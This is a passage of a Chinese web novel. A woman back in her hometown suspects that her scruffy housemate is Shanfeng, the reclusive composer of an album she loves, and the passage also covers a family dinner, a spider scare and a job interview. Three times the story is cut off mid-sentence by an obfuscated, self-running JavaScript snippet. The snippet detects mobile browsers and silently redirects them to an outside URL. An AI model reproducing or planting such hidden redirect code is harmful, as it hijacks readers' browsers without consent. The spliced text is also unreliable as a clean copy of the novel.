其中,认识最久、印象最深的一段邂逅,发生在“静听”。 7. 林荫道 “静听”是一个音乐网站,蔡云深进大学以来都用它听歌。 跟神秘的音乐人山风认识,就是在这上面。 要说怎么互关的,记不清了。反正成为好友后某一天,蔡云深去山风页面,惊讶地发现这人居然还出过一张专辑,名叫《蔷薇山谷》,风格是灵魂乐—— 他头像的玫瑰图样,就是这张专辑的封面。 带着好奇点开一听,惊为天人。但是那个时候听这张专辑的人很少,或许因为它是纯音乐。 当即就跟山风发私信说,“我有眼不识大佬!”然后满腔热情,去静听社区发了乐评推荐。 以此为契机,跟山风变成时不时就会给对方推歌的好友—— 就连《残梦》这首歌,也是因为山风推荐,她才听到。 事实上,帮山风出《蔷薇山谷》的唱片公司就叫“残梦音像”。听他说,残梦的老板就是因为喜欢这首歌,才有了这个名。 因为山风,蔡云深专门去了解过“残梦”,发现它旗下还有其他几个不错的音乐人。 奈何残梦体量小,相关新闻没什么人关注,属于那种随时倒闭都不奇怪的独立厂牌。 再后来,静听推出歌单功能。蔡云深把喜欢的歌做成不同风格的歌单。 她在静听的ID叫“满月时听歌”,所以给这些歌单都打上了统一的前缀: “满月电台”。 而山风,则爱好跟她讨论这些歌单: 哪些音乐他喜欢,哪些实在不行,哪些风格近似、但蔡云深没听过的,沧海遗珠,值得去听听看。如果适合,也该拉进歌单…… 就这样,三年过去。对于山风,只知道他是个年轻男人,跟她交流时温和客气,评论音乐却毒舌; 在音乐方面很有天赋,创作的专辑很好听;专辑里有且只有一首带人声,名叫《告别》,就那个哼唱而言,他的声音也很好听。 至于山风的真实姓名、实际岁数、长相样貌……一概不知。 听歌是一种习惯,静听天天都用。只要登录,就会给山风留言,听听歌,然后明天见。 可是某一天,成为她习惯中一个部分的山风,却突然不再回复她,就那么毫无预兆地消失了。 山风突然火起来是三年前。 当时,一档现象级音乐选秀节目横空出世,里面有个叫泰川的创作型歌手外形出众、才华横溢,毫无悬念拿下冠军。 之所以跟山风产生关联,是因为泰川翻唱了他专辑里的曲子—— 更准确地说是用了山风的旋律,泰川自己填词。结果两首歌都在那个夏天爆红,尤其是在决赛里演唱的《告别》。 因为这缘故,原本无人问津的《蔷薇山谷》被发掘,登上各平台播放热榜。残梦音像趁热打铁,再版了专辑,之后甚至推出限定黑胶,价格被炒得一翻再翻。蔡云深一开始是抢不到,后来则是卖不起…… 然而,专辑的创作者山风却没有任何要接住这波流量的意思: 他依然维持消失状态,不曝光、不出现、不接受任何采访。 就连残梦也无法提供山风的动态, 《蔷薇山谷》的版权是在残梦,但山风本人跟他们已经没有任何合约关系。 所以,直到现在,依然没有人知道山风人在哪里、过得如何。还热爱音乐吗?又是为什么不再写歌? 蔡云深也想问他这些问题,就像那些突然出现的粉丝一样—— 能够证明山风存在的,只有他留在静听上的动态。追着他的关注,大家发现了“满月时听歌”这个ID。他们给蔡云深私信,问她是不是认识山风?现实里的山风是怎样的人?到底还会不会再出专辑?…… 她也不知道。 在这个信息爆炸的时代,一个突然引起公众关注的音乐人,却什么都扒不出来。于是有人开始神化山风,同时神化他的伯乐泰川,分析泰川和山风之间千丝万缕的关系,对比两人的声线,以此论证他们根本就是一个人; 也有内部人士发话,说泰川当初就是年纪小,被残梦音像坑了,签下不公平合约,导致现在明明是自己的作品,却没法认领,连“山风”这个身份也失去; 还有人自称是山风多年粉丝,“他还没人听的时候我跟他就很熟!”骂泰川,说他哪是什么“致敬”山风,明明就连风格都是抄人家的,没有山风的《告别》,冠军怎么可能是他? …… 众说纷纭。但是流言再多,山风也没有半点要活过来为自己澄清的意思。就像烟火那样,出现过,然后消失了,留下了无数悬念。 所以才令她印象深刻呢。 感慨中,蔡云深仰头。然后,她就发现了令她感觉毛骨悚然的源头—— 逼仄的天花板上全是霉污。一圈一圈的螺旋,好像无数双怪物的眼睛与她对视。 放空地看了它们好一阵,蔡云深才收回视线。 纸条,信纸,周记…… 这些属于过去的纸制品不想扔,却也不想别人看见。 环顾四周,觉得是铁架床的上铺最为隐秘: 那里离污浊的天花板最近,还都用白布遮着,就像尸体。 蔡云深抱着重新密封好的纸箱爬上去。 东西放好,开始好奇白布下究竟藏着什么。掀开一看,居然是有关音乐的一切: 磁带,CD,随身听,复读机,甚至更老式的收音机…… 还有一把乐器。 乐器装在黑包里,看形状应该是…… 吉他? 这些都是阿旺的? 再看透明收纳盒里音像制品,都很老旧,什么孙燕姿,周杰伦,莫文蔚…… 就是这时,蔡云深看见一个熟悉的图案。 那是被塞在箱子侧面的图纸—— 一支轻握玫瑰的手,专辑《蔷薇山谷》的封面。 山风的头像。 …… 从灰楼回到白宫,从过去回到现在。到快吃晚饭的时间,那个引发她猜测的、一整天都不知道跑去哪里的阿旺才终于冒头。 人没露面,先听到他声音在单元楼外—— “阿旺!你这脸,听说是被狗咬的?” “是啊。” “怎么回事,主人没栓狗绳?” “栓了,是我自作主张非要抱那只小狗。” “你怎么敢的?” “我想大家都是狗,它应该不会伤害同类吧……就大意了。” “哈哈哈哪有人说自己是狗的?” …… 蔡云深瘫在客厅沙发上,一边听窗外人聊天,一边发呆。 收纳盒上了锁,没法拿出来看仔细。但她分明隔空看到,图纸上面有“打样”的字眼。 山风专辑封面的打样,为什么会在阿旺手里? 如果说昨天在书房看到那张老唱片,还只是心生感触,那么现在,她是真的开始怀疑。 有些真相呼之欲出,她却害怕印证。 在近乎怦然的心跳中,门外的人上楼、开门。 蔡云深假装无事发生。 人回来没多久,就说要去遛狗。不仅打算遛小虎,还打算带露娜一起,仿佛忘了自己昨天才被它咬过。 许江说什么都不允许,除非—— “妹妹,你陪阿旺去!” 蔡云深心绪复杂地起身。 要出门了,丁聪聪溜出来,说想跟他们一起去。 “你硬笔字赶完了?”阿旺问。 “怎么可能?” “那就继续赶,你昨天不是说了今天要一口气写完?” 丁聪聪开心的脸一下黯淡。 蔡云深心生怜爱:“走,阿姨带你去。” 昨晚才收了钱、跟蔡云深站到一队小男生听到这句绽开笑意:“谢谢蔡阿姨!” 一旁的阿旺闻言也不二话,顺手就把小虎的狗绳递给蔡云深。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059641|195002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蔡云深极其自然地接过狗绳。那种顺滑的默契让她在察觉之后,打从心底地抵触: 什么情况? 为什么好像她好像已经很接纳这个人? 不过是一首老歌、一张图纸。 打住,打住。 没有什么永恒正确,包括她的本能。 正自我告诫,就见阿旺将蹲身换鞋的丁聪聪整个架起来,像端一盆水般把他端回卧室。 “蔡阿姨都答应带我去玩!” “她说话又不算。” 处理完丁聪聪后,阿旺出来,从她手里牵回小虎,让她出门。 到了院子里,蔡云深都还没想过这事情,忍不住为自己刚收服的小弟鸣不平: “就是出来遛个狗,能耽误多少时间赶作业……” 阿旺却说:“他得逞一次就会有无数次。难道要我一直迁就?很麻烦的。” 很麻烦?能有多麻烦?“不过就是给小孩做点顺水人情。”她还给了他100块呢。 “没回报的人情做来干嘛?我又不搞慈善。” 蔡云深听得挑眉。 她是哪里搭错线,竟会认为天赋卓绝、情感细腻到能创作出《蔷薇山谷》的山风,是眼前这个头顶鸡窝、脚蹬塑料拖鞋的男人? 在心中大加否认,眼前出现林荫道。波光点点,在黄昏中异常美丽。 蔡云深惊讶地走进树影。 以前,在滨城,她租的地方很偏。但是家附近有一处地方她非常喜欢,就是去地铁站前会经过的林荫道。道旁有一家江安小炒。 因为是家乡的味道,一个月有那么几次,她都会挤时间去光顾,点份盖浇饭吃完,再喂喂店里养的流浪狗,然后在落日里漫步回家。 小店生意火爆,坐她对面的总是陌生食客。 那时蔡云深总会想,如果有人来这家店跟她一起吃饭该多好。那样可以多炒几个菜,还可以坐同一张桌子。 就是那时,她才骤然发现在这座城市里,竟然没有谁,让她可以毫无顾虑地在休息日里打扰,让对方绕路到这个偏远的路边摊来,陪她吃晚餐。 后来,一次陪网红出席活动,隔壁部门的头头赵宇也在。 结束后,赵宇问她家住哪。知道后说反正顺路,送她回家。 那是初夏。车开到她家附近时正是黄昏。日与昼分界的时刻,总有种致幻的魔力。漫天的霞光如波光粼粼的热海,温柔地包裹他们,这条路上的所有人,她和赵宇。 她沉醉其中,就听赵宇感叹, “这里的林荫道真美。” 蔡云深觉得自己像一处阴湿的角落,突然,有光照亮她。 “是啊……我也一直这么觉得。” 听她这么回应,开车的男人笑了。蔡云深感知到他声音,还有他轻微晃动的肢体。又听他接着问,“这附近有什么好吃的吗?” 那天晚上,他们一起走进小炒店。 …… 之后恋爱了,搬家。却还是常光顾那家小店。跟赵宇约在某个周末,去那吃饭,逗狗,然后并肩走进林荫道。 他们都喜欢小狗,但工作太忙了。养狗不现实,或许未来可以有。未来,要是可以两个人牵着狗,在落日的林荫道里漫步,多么惬意; 也都喜欢夏天,因为恋情开始于此。所以把婚期定在八月,仿佛那样,就能拥有永恒的夏日。 可是最终,这个八月。 蔡云深离开滨城,唯一带走的是小炒店新来的流浪狗。 …… 正陷在回忆里无法自拔,一股酸臭袭来—— 前面是垃圾堆。 蔡云深皱鼻。 破烂的小区,腐败的气味。此刻跟她走在林荫道里的,是认识了一天的同居人。他脸上有伤,走路歪斜;她双眼乌青,心如死灰。 他们牵着狗。 原来如此,蔡云深想。 憧憬实现的片刻,有时也伴随幻灭。 8. 于岳望 突然,两只小狗大叫起来。循声望去,只见垃圾桶旁站着一只瘦骨嶙峋的白猫。 确切地说是灰色,毛发脏乱打结。耳朵有缺口,身上满是秃斑和伤痕。 蔡云深看得揪心,下意识朝猫迈步,却被阿旺阻止: “别过去,”男人说着挡她面前,“那只猫很凶的,福娃都被它抓伤过,还打了针,就在我们昨天去的那家医院!” 连福娃都得不到善待,这话很有说服力了。 蔡云深却依然放不下。 察觉到阿旺在严防死守,试着跟他开玩笑:“那家医院的狂犬疫苗该不会是被我们小区的人打完的吧?” “差不多了,”阿旺说,“所以,你可千万成为下一个。” 被这么一点,蔡云深的视线终于从猫转向人: “你说什么?” “我说让你别管那只猫,”阿旺认真,“它病了。无论谁靠近,它都会攻击。所以别想着去喂药、喂吃的。不然受伤的是你。” 蔡云深不再吭声。但是此刻,她有一种内心被揭露的不适感。 烦躁地拉着狗调头,口是心非:“谁说要管它了?” “不管最好,”男人说着跟上来,恢复平时那副无所谓的样子,声调寡淡—— “乐于助人是美德,但过度了,就是病。” * 这晚饭点,701又是热闹,还添了新面孔—— 是隔壁栋的刘阿姨和向叔叔,带着他们的外孙童童。 瘦瘦高高的刘阿姨是个绝不会亏待自己的主,蔡云深打记事起就对她没好感。 今日亦然,人踏进来,先拉着童童朝许江:“乖孙,叫干爷爷!” “干爷爷!” 还在上幼儿园的小男孩一边喊,一边奔向出来迎客的许江。一老一小在蔡云深面前笑开了花,她却心有芥蒂。 这些年来,自打答应成为童童的“干爷爷”,为了这个“乖孙”,许江可花费不少: 大小节假都要送礼,重要时日还需备红包。偶尔疏忽,刘阿姨还会及时“提醒”—— “干爷爷,我们乖孙下月生日,你可别说你忘了?” 许江抱着童童笑呵呵:“不能忘不能忘,礼物我都准备好了!” 蔡云深在旁摆碗筷,刘阿姨又郑重介绍她: “童童,叫大姨妈!” 被抱着的童童朗声招呼。蔡云深回了句“乖”,心里却一点都不想当谁的“大姨妈”,只想做回没有牵连的“蔡阿姨”。 不知她心境的许江居然关心刘阿姨:“最近跑上跑下,累吧?小家伙又放假,还得顾着他。” “他在身边还好点,”刘阿姨却说,“每天只有看到他,心才舒服些。” “也是,”许江说着逗小男孩,“我们童童他多可爱呀!” 孩子放下后,又宽慰了几句刘阿姨,许江才朝其他客人: “各位,就差个鱼汤了。我去盯着,马上就好!你们先吃!别等我!” “哪有不等厨师的道理!”向叔叔发声,“你别管我们,我们自己知道交通沟流!” 听他这么一说,众人笑了—— 都知道许江把“交流沟通”说成“交通沟流”。 蔡云深也应和气氛,但她皮笑肉不笑。心想,原来爸爸的口癖,根本不是什么她和妈妈的独家发现。 想起往事,双目就放空。回过神才发现,自己刚才盯着童童。 刘阿姨从旁看着,还以为她喜欢小朋友: “怎么样,这小玩具可爱吧?” 为什么把人说成玩具? 蔡云深藏着不满:“可爱。” 她是客套,对方却跟她邀起功来:“你不知道,你不在家的时候,都是我们这小家伙帮你爸解闷!你看他喜欢童童那个劲!”说着又问,“什么时候你也造一个?到时候刘阿姨帮你带。” “是啊妹妹,交男朋友没?”向叔叔听到也问。 刘阿姨:“交了,在滨城呢。许老大讲过的。” “哦,那打算什么时候结婚?”向叔叔马上调整方向,“再不结你刘阿姨该老了,想帮你带孩子都带不动。” 刘阿姨:“不仅我们老,你爸也老了呀。人一老,会孤独,觉得很多事都是眼前空,唯一的乐趣是逗逗小孩儿。” 向叔叔:“我记得,妹妹跟思思是一年的?” “不仅是一年的,她俩高中还做过同班同学呢。结果童童现在都上幼儿园了。” 说到这,刘阿姨认真地问蔡云深: “妹妹,你也27了,真的不着急?” 被夫妻俩一套组合拳下来,蔡云深心烦到开始考虑在此自爆,说出被赵宇劈腿的事实。不知道卖惨能不能堵上两位长辈的嘴? 又怕招致更多麻烦。 万没想到,居然是拿白酒过来的阿旺救了她的场: “她有什么好急?我比她大三岁都不急。” 向叔叔:“你当然不急,你是男人。” “男人怎么了?”阿旺语调懒洋洋地回嘴,“你是歧视她,还是歧视我?” 被架起来烤,老好人向叔叔瞬间招架不住:“什么‘歧视’呀……”连忙跟蔡云深解释,“叔叔没那意思!” 刘阿姨也说:“是啊妹妹,别听阿旺那臭小子瞎扯!我和你向叔叔只是关心你!” 关心也要看本人能不能消受啊? 她觉得阿旺的瞎扯更悦耳。 都是爸爸的老朋友,也不能像昨晚在网约车里那样放飞自我。想找个理由离开,却被刘阿姨凑近:“你怎么在家还戴个墨镜?” 向叔叔闻言也凑过来:“等等,妹妹……你这是被人打了?” 蔡云深忍无可忍,正打算乱说一通,阿旺又先开口: “是啊,我打的,”他说着指自己的脸,“她也没吃亏。” 此言一出,“关心”夫妇的注意力被成功吸引走,追着阿旺问真相,放过她。 蔡云深钻进厨房,一拳锤墙上: “果然,我得尽快搬走!” 在灶前满头大汗的许江不急不慢:“怎么了?尽什么快?怎么尽快?”关火盛汤,“你急也没办法,起码得等那个什么,”沉睡症,“过了再说。” 蔡云深跺脚。 “行了,把这个端出去。” 从许江手中接过鱼汤,心里又五味杂陈。 蔡美仙离世后,她最拿手的鲫鱼汤,原以为再没机会喝到。不想许江一点点摸索,在某一天,居然成功复制出记忆中的味道。 蔡云深端着汤,想刘阿姨和向叔叔是俗气,但也真实。他们代表上一辈人的视角,或许也代表许江。 难道,爸爸也跟他们一样?以至于童童一个别人家的小孩,他都那么喜欢? 她想知道,却无法问出口。就像许江不会主动告诉她。 他们向来不是那种能对彼此坦承真心的父女,蔡美仙离世后尤其如此。 把鱼汤放上餐桌,见刘阿姨夫妇又回来坐定。 正觉无心应付,丁聪聪从阿旺卧室冲出来—— “刘婆婆,向爷爷!”小男生开心,“我把语文作业全部赶完啦!” 向叔叔立刻捧场:“厉害啊丁聪聪!这么早就赶完?” “对啊,我说到做到!”人来疯丁聪聪雀跃。 “还不是多亏你阿旺叔叔盯得紧?”刘阿姨说大实话。 “跟他才没关系呢!他就会惹人厌!”丁聪聪说着爆料,“刘婆婆我跟你说,阿旺叔叔晚上睡觉可搞笑了!” “有什么搞笑的?”刘阿姨问,“他打鼾?” “不是,他睡着了说梦话,还哭了!”丁聪聪想起来就开怀,“拍都拍不醒!一开始我迷迷糊糊,还以为是狗在叫呢!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059642|195002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 满桌大笑。 嘴上说着“惹人厌”,饭吃完该回家,丁聪聪又依依不舍,挽着阿旺非要他继续陪着玩,直到他爸丁威找上门。 蔡云深没想到,自己会在短短一天内幻灭两次: 记忆里高大挺拔、意气风发的大哥哥,她的初恋丁威。如今一看,个头居然跟她差不多,发福了,谢顶了,白净的脸晒得黝黑: “我来接聪聪。” 跟人打过招呼后自己在那尴尬,倒是鬼机灵的丁聪聪大大方方跟她道别: “蔡阿姨,再见哦!”说完还比了个给自己嘴巴上拉链的手势。 宾客散尽,701安静下来。就连昨晚在隔壁背课文的声息都消失。 等蔡云深洗完澡回书房,只有等着她的露娜在床边冲她摇尾巴。 耳根清净,便彻底放松,在已经开始熟悉的新家惬意地躺下,开平板,找漫画。 这是她的睡前小习惯,做白日梦。什么类型都看,恋爱,冒险,悬疑,科幻…… 痴迷于虚构世界,却只能选择漫画这个载体,或者电影,电视,舞台剧…… 就是没法读小说。 因为她有阅读困难症。 从小到大,被诊断出的心理问题可不少,什么抑郁,恐慌,双相障碍…… 得到这些判书时,蔡云深总有种“这是在说谁啊”的不真实感。偏偏她真正最烦恼的两大难题:阅读困难和沉睡症,找了多少医生看,都没定论。 医生说,你这些症状不对症。虽然临床经验少,也可能存在错诊,但目前看上去,应该是你的心理作用? 是了,心理作用。除了心在作怪,没法解释这种异常: 一般的字还好,信件,教科书,墙上的标语……都能看进。 所以她正常生活、读书考试,都没问题,还进了大学。 但文学作品就不行。小说、散文、诗这类的,每每翻开,第一页看不过半,眼前的文字就会变扭曲,偏旁不像偏旁,字也不像字。 字如森森白骨,堆砌成一堵不透风的高墙,向蔡云深示意: “此为禁区”。 因为这个理由,蔡云深语文成绩不好,尤其是阅读理解,每次得分都很低。 怪就怪在她的作文居然写得不错,情感饱满,词汇还丰富。 就连语文老师都稀奇,说教了这么多年书,能写不能读的,头回见。 …… 蔡云深打开《像雾像雨又像风:霸总与我同居的100日》。 同样是讲述虚构世界的文字,被放进漫画里,就没问题。 比如眼前,第一话,男主就壁咚,还捏女主下巴。 台词蔡云深读得很顺畅: “你这样,不就是想我吻你?” 谁!想!了!女主第一天见你! 没有铺垫的肢体接触,那叫骚扰!人帅做什么都行?! 读评论也毫无阻碍: “这总裁,真是像雾像雨又像疯。” 蔡云深狠狠点赞,关了这本找别的。 看一阵,看饿了。纠结之后,还是起来去冰箱找了吃的。 牙自然要重刷,去卫生间,却发现里面有人: 是阿旺在洗澡。 回书房后没多久,花洒声就停止。蔡云深干脆不上床,一边等跟她同居、虽然不是霸总,但好歹不会抽疯的男人出厕所,一边抚摸露娜,并且发自内心地称赞它—— “你是这个世界上最可爱的小狗了,知道吗?” 就是这时候,因为蹲在这高度,才会发现床头柜夹缝的墙面上,有一行歪歪扭扭的字: “于岳望是大笨蛋。” ——这次,“笨蛋”两个字写对了。 蔡云深盯着字,好久了,才突然反应过来, 不是“阿旺”, 他的名字,是于岳望。 9. 一个梦 刚在偶然中捕捉到真相,卫生间门开了。 蔡云深闻声起来,出去就在失光的走廊上跟名字的主人撞了个满怀。 立刻闪开,对方却还呆在原地,震然看了她几秒,才压抑住情绪别过脸,非常不自然。 这是什么反应?出浴后的娇羞? 蔡云深盯着见不到正面的人琢磨,随即发现他的深蓝色短袖衫上印的英文是: “Don''tWorry.” 进卫生间。一股热气铺面而来。刚才在男人身上闻到过的沐浴液味道变得更浓烈。 这味道,她很熟悉。 为什么会熟悉? 读高二那年,蔡美仙进了一家直销公司“创业”。出资买下一屋子洗护用品,期待转卖出去之后,从此一夜致富。 结果呢,当然是血本无归,外加堆积如山的瓶瓶罐罐。 自那之后,他们家洗澡、洗头,再没用过别的牌子。 后来蔡美仙离世,蔡云深又去了异地。消耗人就剩许江一个,更加岁岁年年无穷匮也。 转眼十年,存货居然还没消完。 而眼下,又多出一个帮忙“分销”的家伙: 笨蛋于岳望。 其实昨天刚到这个家,蔡云深就在卫生间里注意到了熟悉的面孔。晚上洗澡时特意拿过来看生产日期,果然是那批过期了N年的“陈酿”。 当时她就心情复杂:既感慨许江为什么总是无法丢弃旧东西, 又害怕哪一天,这些关于蔡美仙的琐碎会彻底消失。 但于岳望这位无关人士怎么想的?他为什么也跟着用?给许江做人情,就不麻烦了? 还是说,他啃老已经啃到十分拮据的境地,连租客给的过期洗发水,他能不问出处、用得甘之如饴。 Don''tworry? 真希望他还是worry一下。 如此走着神,牙都刷好了,才留意到水雾模糊的镜子里那个人影有什么不对—— 她忘了戴墨镜! 蔡云深擦开镜面,看到自己乌青的双眼,这才理解了为什么刚才跟人擦肩时,对方微妙地别开了头。 想找个地洞钻进去,模糊的镜面里突然出现一道黑影。 是老鼠。 蔡云深吓得当即大喊: “于岳望——!!” 呼着救往外逃,出来就见走廊上,刚回卧室脱了上衣还来不及穿的于岳望朝这边奔来。蔡云深急了眼,把人当电线杆一跃跳到对方身上。幸好于岳望反应快力气也大,真就稳稳接住了她。 “什么事?!” 把脸藏进男人颈窝,蔡云深依然止不住颤抖: “老鼠!!有老鼠!!!” 这么窝囊,谁也不想的。但谁叫世界上最令她蔡云深望而却步的生物就是这个? 对于老鼠,蔡云深的恐惧简直到了不正常的地步,不仅听到这个名字会腿软,就连对小松鼠、荷兰猪等偏可爱的近似物种也接受无能—— 看到迪士尼的米奇标志,她都会打冷战。 生怕老鼠从卫生间窜出来,溜过她脚边、碰触她皮肤,蔡云深把电线杆搂得更紧。 男人却与她完全相反,在听她说出“老鼠”两个字之后,他肉眼可见轻松下来,就像这个家会面临比老鼠更可怕的危险。 “你是说老鼠?”问她。 “是啊!”蔡云深不敢抬头,声色恐惧,“在厕所里!” “别怕,”却听于岳望安抚她,“有小虎在,这个家绝对不可能有老鼠。一定是你看错了。” 什么逻辑,小虎是狗不是猫。 但男人的语气十二分坚定,这让他的话听上去很可靠,且安慰效果十足。 “那个……我想进去看看。你是打算维持现状,还是先下来?” 刚有点放松的蔡云深听到这句,想也不想把人抱得更紧: “求你别放我下去!!” 见她这样,于岳望也不再问,带着她挂件往浴室去。 越靠近,蔡云深把他的脖颈搂得越紧,头也藏得更深。 “是蜘蛛。”然后,她就听男人这么告诉她。 蔡云深紧绷的神经瞬间松动:“……蜘蛛?” “对啊,不过体型比较大。蜘蛛你怕吗?” “不怕。” 一边说,一边终于敢露出双眼。辨认自己所在的位置后,蔡云深小心翼翼扭头,就发现确实如于岳望所说,停在墙上的是一只巴掌大的蜘蛛。 大是大了点,但对象变成了蜘蛛,她就一点感觉也没有。只是难免要感叹下尺寸: “居然有这么大的蜘蛛?” “嗯。它在这个家很多年了,名字叫‘大吉’,看到它会交好运,”男人居然说,“下次再看见也别害怕。不是老鼠。” 不是老鼠。听他这么重复地跟她强调,蔡云深终于找回安全感。 不过把这么大的蜘蛛留在家,还起名大吉,说什么会交好运…… 要论“古怪”,这房东跟她比可不逊色。 一边想一边回头,随即就看到了他: 如此近距离、灯光下、并且没有墨镜做阻隔,这还是第一次。就连他一直遮挡的刘海都因为刚洗过澡掀了起来。于是第一次,蔡云深看清楚于岳望。 他居然长了一双很漂亮的眼睛。眼尾有些下垂,像两尾游鱼。就是目光太过空洞。 就像鱼被困在冰河里,是僵直的、静止的。空有美丽的轮廓,或者说,尸体。 他还有一副浓重的黑眼圈。 等反应过来时,蔡云深话已出口:“你需要安眠药吗?”她问,“我有。” 于岳望明显地一怔。随后,他眉目舒展。枯死的空洞中,竟生出一丝生动的情绪,那是发自内心的笑意,带着温度。 “不用,谢谢。” 笑点在哪? 对了。多半是因为此刻,她的眼睛还乌青。 人丑做什么都冒昧,突然抱住别人,没被当骚扰都算好的。蔡云深想到哪说到哪: “对不起。”她说。 这下于岳望彻底懵了:“为什么道歉?” 蔡云深:“没经你允许就抱了你。” “那是因为你害怕啊,”于岳望说,又问她,“那我也该道歉吗?没经你允许就接住了你。” 他居然是很认真在跟她探讨这个问题。 蔡云深忍俊不禁:“你不接住我,我就摔死了。” “那我们扯平了?”男人温和,问她,“现在不怕了吧?放你下来?” 蔡云深嗯了一声,回到地面。 放下她后,于岳望转头,伸手点了点那只叫“大吉”的蜘蛛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059643|195002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被他触碰到,大吉立刻警觉,瞬间爬离原地。 蔡云深从后看着这一幕,只觉自己的宛如平湖,突然一阵风来,起了涟漪。 接着就看到男人的后背—— 壮阔的背脊中心,有一道很深的伤疤。看上去是刀伤。 难免惊讶,对方就在这时回头,跟她诧异的注视撞个正着。 蔡云深连忙收回视线,转身逃出浴室。 “蔡云深,问你件事,”还没走远,身后就又传来男人的声音—— “你是怎么知道我名字的?” 确实。回家两天了,没一个人说过他姓谁明谁。他们都只是叫他阿望,阿望,仿佛那就是他。 可是刚才,情急之下,她喊出了自己偶然得知的全名。 蔡云深头也不回:“听人说的。” “听谁说的?” 在墙壁上写字的还能有谁? 八成是以前也住书房的丁聪聪。 决定不出卖队友,蔡云深假装没听到,几步跨回卧室,将满心疑问的男人留在走廊。 或许是因为发生了这样的插曲,这天晚上,蔡云深梦见了于岳望。 在梦中,她又徘徊在芦苇从里。丰茂柔软的白色苇草把梦渲染得像一片雪原。 而她呢,则在那样的雪原里朝高处跋涉,似乎在苦苦寻找什么。 不知走了多久,也不知走了多远,又来到那片她再熟悉不过、即使沉睡都能梦见的河岸。天空是蔷薇色的,河流是蔚蓝色,怎么看都缺乏真实感。 然后蔡云深就意识到了,这是梦。 在梦里,河岸的那头站着一个人。 蔡云深朝那人走去,走到终于能看辨认对方的距离,即使知道是做梦,也惊讶怎么是他—— 于岳望。 男人看上去很疲惫,是一条落水狗,一个背上有刀伤的倒霉鬼,带着他无法逃避的命运望着远方,好像下一秒就能哭出来。 顺着他的视线看去,蔡云深第一次发现这河岸竟然是有尽头的。苇草止息之处,竟然是一处断崖,河水奔流直下,落入山谷…… 此刻,山谷寂静到虚无,云雾正深。 原来,自己的梦中的这片河岸竟然是长在悬崖上的。 而他们,站在一座空山之中。 惊讶之后,疑问就更多: 为什么河岸会出现尽头?为什么尽头之处居然是于岳望站在这里?他在这里做什么?没事扮什么深沉、耍什么酷,为什么一直看着山谷下面,表情还那么严肃认真、一脸执迷?…… 带着疑问再走近些。明明已是咫尺之遥,男人却依然没有察觉到她存在。 忍不住向对方伸出手,还没触碰到,先见他启唇。 虽然听不见声音,但是,在梦里, 莫名地她就是知道,对着满山的云雾,于岳望呢喃出的是—— “蔡云深。” …… “蔡云深!!” 被门外的呼喊声叫醒,居然已经是大中午,许江都下班了。 这早上怎么过去的,完全不知道。没听见《八段锦》,甚至连闹钟都没吵醒她, 或许因为那个迷梦令她睡得太深沉。 还在恍惚,就听许江隔着门提醒—— “你不是说下午要出门?” 蔡云深倏地坐起来。 10. 鸿运通 面试地在江安新城区。蔡云深戴着墨镜上楼。等待的时候,她又想起昨晚发生的事—— 于岳望说,看到大吉会交好运。 顺手查了个星座运势: 水瓶座这个月居然真的进财。 心生期待,碰巧这时会议室门开—— “下一位,蔡云深!” 进门。面试官看简历,说噢,你就是那个提前沟通,说割了眼袋还没恢复的? 蔡云深答是。 面试官点点头,进正题: “看你之前做网红助理,怎么想到来应聘新媒体运营?” 蔡云深答,虽然做的是助理,但网红们发布的视频,从文案,拍摄,剪辑,到控评……几乎每个环节她都经手,基本技能都会,也熟悉相关软件和平台。 面试官点点头,问那现在刚兴起的直播卖货呢?前公司涉及?有没有协助销售的经验? 蔡云深答没有。前公司主要签做长视频的网红。 之后又问她是否熟悉网络推广,或者微商,认识哪些大v,滨城那边网红的工作流程如何,怎么变现,跟他们约广告的费用大致是多少等等。 蔡云深有的答了,有的糊弄。因为她越听越觉得,这个公司想招收的岗位名为“运营”,实为“销售”。约她来面试,或许只是对她前公司感兴趣,想做个了解。 正暗忖,面试官就谈及年龄。 男人直言不讳,说来面试的人里,她的年纪是最大的。需要了解她有没有备孕打算。 蔡云深答没有,并补充她连婚都还没结呢,现在是单身。 面试官难得地给了她一个积极的回应: “那很好呀!” …… 从公司出来,蔡云深去搭地铁。 昨天才被长辈催婚,今天就被说不结婚“很好”。好像在她这个岁数结不结婚,都有说法。 面试官待她不太公平,但她也没对人坦承: 她身上真正的隐形炸弹,是沉睡症。 蔡云深大学在滨城念,服从调剂后学的电商。出社会掉了几次坑,到应聘进上一家公司才终于稳定下来,辗转做成助理。 这个在许多人看来吃力不讨好的工作,她却很喜欢。帮人解决各类芝麻蒜皮的问题让她尤其有成就感。 因为喜欢,一做就是四年。从一开始跟小角色,到现在同时协管几大网红。 